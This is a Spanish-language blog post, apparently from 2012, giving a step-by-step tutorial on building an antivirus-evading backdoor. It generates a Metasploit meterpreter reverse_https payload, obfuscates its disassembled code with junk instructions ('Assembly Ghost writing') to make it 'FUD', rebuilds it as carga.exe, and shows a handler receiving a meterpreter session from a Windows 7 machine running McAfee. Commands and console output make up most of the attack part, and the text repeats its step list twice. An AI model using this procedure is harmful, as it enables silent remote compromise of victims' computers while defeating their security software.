Normalmente
crear un backdoor con Metasploit es sinónimo de detección por parte de
la mayoría de AV, incluso utilizando el encoder polimórfico
shikata_ga_nai.
El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.
El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.
En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:
1º Creamos el ejecutable malicioso en formato con msfpayload.
2º Preparamos metasm (http://metasm.cr0.org/)
3º Desensamblamos el fichero binario:
4º Ofuscamos manualmente el código,
desde esto:
y añadimos al principio del fichero:
5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
6º Lanzamos la consola de Metasploit con el multi/handler:
7º Y finalmente ejecutamos carga.exe en el equipo Windows:
El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.
El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.
En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:
1º Creamos el ejecutable malicioso en formato con msfpayload.
root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw root@bt:/home/pruebas# file binario.raw binario.raw: data
2º Preparamos metasm (http://metasm.cr0.org/)
root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2
3º Desensamblamos el fichero binario:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm
4º Ofuscamos manualmente el código,
desde esto:
// Xrefs: 8dh loc_15h: mov esi, [edx+28h] ; @15h 8b7228 r4:unknown movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown xor edi, edi ; @1ch 31ffa esto:
// Xrefs: 8dh loc_15h: mov esi, [edx+28h] ; @15h 8b7228 r4:unknown movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown mov edi, ecx ; Move the contents of the ECX register into the EDI Register push edi ; Push the EDI register onto the current stack frame pop edi ; Pop it back off mov edi, ecx ; Mov ECX back into edi xor ecx, ecx ; Zero out the contents of the ECX register mov ecx, edi ; Mov EDI back into ECX xor edi, edi ; @1ch
y añadimos al principio del fichero:
.section '.text' rwx .entrypoint
5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe saved to file "carga.exe" root@bt:/home/pruebas# file carga.exe carga.exe: MS-DOS executable, MZ for MS-DOS
6º Lanzamos la consola de Metasploit con el multi/handler:
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E [*] Please wait while we load the module tree... _ _ / \ / \ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_ |/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\ =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 927 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops [-] The value specified for PAYLOAD is not valid. LHOST => 192.168.249.128 LPORT => 443 [*] Started reverse handler on 192.168.249.128:443 [*] Starting the payload handler...
7º Y finalmente ejecutamos carga.exe en el equipo Windows:
[*] Sending stage (752128 bytes) to 192.168.249.1 [*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500 meterpreter > getuid Server username: PANDORA\vmotos meterpreter >
No hay comentarios:
Publicar un comentario